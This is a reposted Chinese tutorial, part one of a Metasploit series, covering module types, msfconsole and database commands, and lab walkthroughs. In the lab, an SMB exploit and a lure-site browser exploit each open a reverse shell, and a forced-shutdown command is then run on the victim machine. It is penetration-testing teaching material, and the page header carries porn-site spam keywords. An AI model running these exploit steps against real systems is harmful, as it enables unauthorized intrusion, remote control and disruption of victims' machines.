日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

MSF——基本使用和Exploit模块(一)

發(fā)布時間:2023/12/13 综合教程 37 生活家
生活随笔 收集整理的這篇文章主要介紹了 MSF——基本使用和Exploit模块(一) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

MSF系列:

MSF——基本使用和Exploit模塊(一)

MSF——Payload模塊(二)

MSF——Meterpreter(三)

MSF——信息收集(四)

MSF——Metasploit Framework

目前最流行、最強(qiáng)大、最具擴(kuò)展性的滲透測試平臺軟件

2003年由HDMore發(fā)布第一版,2007年用ruby語言重寫,MSF默認(rèn)集成在KaliLinux之中

Kali左側(cè)有MSF的快捷方式,可以直接點擊使用,也可以在終端輸入msfconsole啟動MSF

msfdb

用來管理MSF的數(shù)據(jù)庫的命令

msfdb init     # start and initialize the database
msfdb reinit   # delete and reinitialize the database
msfdb delete   # delete database and stop using it
msfdb start    # start the database
msfdb stop     # stop the database
msfdb status   # check service status
msfdb run      # start the database and run msfconsole

MSF架構(gòu)——技術(shù)功能模塊

MSF默認(rèn)存放模塊的目錄如下

/usr/share/metasploit-framework/modules/

MSF有6個模塊,分別對上面目錄下的6個子文件夾:

auxiliary

負(fù)責(zé)執(zhí)行信息收集、掃描、嗅探、指紋識別、口令猜測和Dos攻擊等功能的輔助模塊

exploits

利用系統(tǒng)漏洞進(jìn)行攻擊的動作,此模塊對應(yīng)每一個具體漏洞的攻擊方法(主動、被動)

payloads

成功exploit之后,真正在目標(biāo)系統(tǒng)執(zhí)行的代碼或指令。分為3種類型的payload,分別是single、stages和stagers。shellcode是特殊的payload,用于拿shell。

single:all-in-one。完整的payload,這些payload都是一體化的,不需要依賴外部的庫和包。
stagers:目標(biāo)計算機(jī)內(nèi)存有限時,先傳輸一個較小的payload用于建立連接
stages:利用stagers建立的連接下載后續(xù)payload

encoders

對payload進(jìn)行加密,躲避AntiVirus檢查的模塊

nops

提高payload穩(wěn)定性及維持大小。在滲透攻擊構(gòu)造惡意數(shù)據(jù)緩沖區(qū)時,常常要在真正要執(zhí)行的Shellcode之前添加一段空指令區(qū), 這樣當(dāng)觸發(fā)滲透攻擊后跳轉(zhuǎn)執(zhí)行ShellCode時,有一個較大的安全著陸區(qū),從而避免受到內(nèi)存 地址隨機(jī)化、返回地址計算偏差等原因造成的ShellCode執(zhí)行失敗,提高滲透攻擊的可靠性。

post

后期滲透模塊。在取得目標(biāo)系統(tǒng)遠(yuǎn)程控制權(quán)后,進(jìn)行一系列的后滲透攻擊動作,如獲取敏感信息、跳板攻擊等操作

基本使用

Kali中更新MSF

apt update
apt install metasploit-framework

msfconsole

控制臺命令支持TAB補(bǔ)全,支持外部命令的執(zhí)行(系統(tǒng)命令)

help或?

顯示msfconsole可以使用的命令。help <command>,顯示某一命令的用法。

connect

可以理解成MSF中的nc命令,可以使用connect -h查看詳細(xì)用法。
connect [options] <host> <port>

show

用show命令查看msf提供的資源。在根目錄下執(zhí)行的話,由于有些模塊資源比較多,需要執(zhí)行show命令要較長的時間
show exploits:查看可以使用的exploit
除了exploits,還支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些選項需要用use使用一個模塊后才能使用,比如給showtargets。

search

搜索模塊
簡單搜索:seachms17_010
多條件搜索縮小范圍:search name:mysql type:exploit platform:linux

info

查看模塊的信息
info <module name>
如果用use使用了一個模塊,直接輸入info即可查看

use

search找到模塊后,用use使用模塊
use exploit/windows/smb/ms08_067_netapi
用use使用一個模塊后,可以使用 show options查看我們需要配置的選項、使用showtargets選擇目標(biāo)主機(jī)系統(tǒng)、使用showpayloads選擇payload、使用showadvanced查看高級參數(shù)、使用showevasion查看用來做混淆、逃避的模塊。
set/setg

設(shè)置參數(shù),比如要滲透的主機(jī)IP、payload等。我們可以用show missing查看沒有設(shè)置的參數(shù)
setg是設(shè)置全局變量,避免每個模塊都要輸入相同的參數(shù)

unset/unsetg:

取消設(shè)置參數(shù)。unsetg是取消設(shè)置的全局變量

save

設(shè)置的參數(shù)在下一次啟動的時候不會生效,可以用save保存我們使用過程的設(shè)置。

check

檢查目標(biāo)是否真的存在這個漏洞,大部分模塊沒有check功能

back

回到msfconsole根目錄

run或exploit

開始使用模塊
exploit -j:以后臺的方式運行

sessions

查看當(dāng)前已經(jīng)建立的sessions,說明已經(jīng)拿到了shell
sessions -i id 可以進(jìn)入一個session交互

load/unload

調(diào)用外部的掃描命令,比如openvas

loadpath

加載自己的模塊

route

添加一條路由。比如發(fā)往某個子網(wǎng)的流量都通過攻陷的機(jī)器發(fā)送。

msf數(shù)據(jù)庫相關(guān)

db_status

查看MSF有沒有連接上后臺數(shù)據(jù)庫。如果沒有連上數(shù)據(jù)庫,在終端輸入msfdb start后再啟動MSF。沒有連接上數(shù)據(jù)庫MSF也是可以使用的,只是連接上了的話,我們滲透過程中獲取的一些信息可以保存下來,比如目標(biāo)機(jī)器的賬號密碼信息等。

db_rebuild_cache

這個命令將所有模塊信息緩存到數(shù)據(jù)庫中,通過數(shù)據(jù)庫檢索效率就高很多了。

db_disconnect

斷開數(shù)據(jù)庫連接。

db_connect

msf默認(rèn)連上postgresql的msf數(shù)據(jù)庫。可以用db_connect連接我們指定的數(shù)據(jù)庫。如果要使用配置文件進(jìn)行連接,默認(rèn)的數(shù)據(jù)庫配置文件為/usr/share/metasploit-framework/config/database.yml,可以參考這個文件進(jìn)行編寫。

db_nmap

集成在msf中的namp掃描命令。不同的是db_nmap掃描的結(jié)果會自動保存到數(shù)據(jù)庫中。
可以輸入hosts查看掃描到的主機(jī)信息
如果數(shù)據(jù)多,可以用 hosts IP 進(jìn)行過濾;hosts -u 查看up狀態(tài)的機(jī)器;使用 hosts -c 列名[,列名] 指定要看的列;使用 hosts -S 進(jìn)行搜索,比如hosts -S windows。
輸入services可以查看主機(jī)開放的端口情況

creds:

查看掃描出來的密碼信息

vulns:

查看掃描出來的漏洞信息

loot

有些賬號密碼我們可能沒有獲取到明文信息,可是經(jīng)過加密的hash值,可以用這個顯示

db_export/db_import

數(shù)據(jù)庫的導(dǎo)入和導(dǎo)出
db_export -f /root/msfbak.xml
nmap導(dǎo)出的也可以導(dǎo)入到msf中
nmap -A 192.168.1.113 -oX nmap.xml => db_import -f /root/nmap.xml

Exploit模塊

分為Active Exploit和Passive Exploit

Active Exploit

目標(biāo)提供了某種服務(wù),服務(wù)存在漏洞

useexploit/windows/smb/ms17_010_psexec
set RHOST 192.168.1.100
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
exploit

Passive Exploit

被攻擊者通常不開放端口或開放端口上的服務(wù)沒有漏洞,漏洞存在于受害者機(jī)器上的客戶端軟件上。客戶端需要訪問某些遠(yuǎn)程服務(wù)器上的服務(wù),當(dāng)它訪問的時候,當(dāng)在服務(wù)器上放置了漏洞利用代碼,由于客戶端程序存在漏洞,服務(wù)器也會將這些漏洞利用代碼作為響應(yīng)報文返回給客戶端,造成客戶端漏洞被利用。

useexploit/windows/browser/ms07_017_ani_loadimage_chunksize
setURIPATH /
set PAYLOADwindows/shell/reverse_tcp
set LHOST 192.168.1.1
set PORT 4444
exploit

Active Exploit演示

實驗機(jī)器

受害者:Windows 7 旗艦版 6.1.7601 Service Pack 1 Build 7601,關(guān)閉Windows7防火墻。IP地址為192.168.171.133
攻擊者:Kali 4.18.0。IP地址為192.168.171.129

Kali上啟動MSF,可以先啟動postgresql數(shù)據(jù)庫,防止后面MSF連不上數(shù)據(jù)庫

service postgresql start

我們利用exploit/windows/smb/ms17_010_psexec進(jìn)行攻擊,由于它是基于SMB協(xié)議的,我們需要知道目標(biāo)系統(tǒng)的一個用戶賬號和密碼,適合在已經(jīng)知道目標(biāo)系統(tǒng)賬號密碼并開放SMB端口的情況下進(jìn)行攻擊。

然后設(shè)置受害者的IP地址,賬號和密碼,并設(shè)置payload為windows/shell/reverse_tcp。這是一個反彈連接,我們還需要設(shè)置目標(biāo)反彈連接時的IP地址和端口。

然后輸入exploit執(zhí)行,可以看到已經(jīng)創(chuàng)建了一個session

通過session -l可以查看已經(jīng)創(chuàng)建的會話

根據(jù)上面的Id,我們可以sessions -i 1進(jìn)入這個shell

查看一下目標(biāo)的機(jī)器IP

可以看到上面有很多亂碼,在Kali的終端中,我們可以設(shè)置shell中字符的編碼

這時候就不會是亂碼了

Passive Exploit演示

實驗機(jī)器

受害者:Windows XP SP2 professional。IP地址為192.168.171.135
攻擊者:Kali 4.18.0。IP地址為192.168.171.129

打開XP的防火墻

這時候用Active的方式進(jìn)行攻擊不會成功,采用Passive方式,構(gòu)造一個鏈接,誘使被害者連接,利用瀏覽器的漏洞。

我們要偽造一個網(wǎng)站,誘使受害者攻擊。SRVHOST可以指定為本機(jī)的IP地址,我們也可以打開SSL和設(shè)置SSL的證書,迷惑有安全意識的用戶。

URIPATH是訪問的URL地址,可以手動指定,比如192.168.171.129/service,這里我們默認(rèn)設(shè)置為根目錄即可。

然后輸入exploit

它不會主動向受害者的機(jī)器發(fā)送利用代碼,而是偽造了一個存在漏洞利用代碼的WEB站點,這個站點等待IE版本存在漏洞的用戶去訪問它,將exploit注入到瀏覽器進(jìn)程中,利用瀏覽器漏洞執(zhí)行payload

我們在XP機(jī)器上用IE瀏覽器訪問這個URL

Kali上已經(jīng)有了一個sessions,進(jìn)入這個sessions

輸入以下命令讓XP機(jī)器關(guān)機(jī)

shutdown -s -f -t 0

在XP上就會看到機(jī)器正在關(guān)機(jī)

總結(jié)

對開放的服務(wù)器一般使用Active的方式,對客戶端程序的攻擊一般使用Passive的方式

參考資料

https://www.freebuf.com/column/194412.html

總結(jié)

以上是生活随笔為你收集整理的MSF——基本使用和Exploit模块(一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。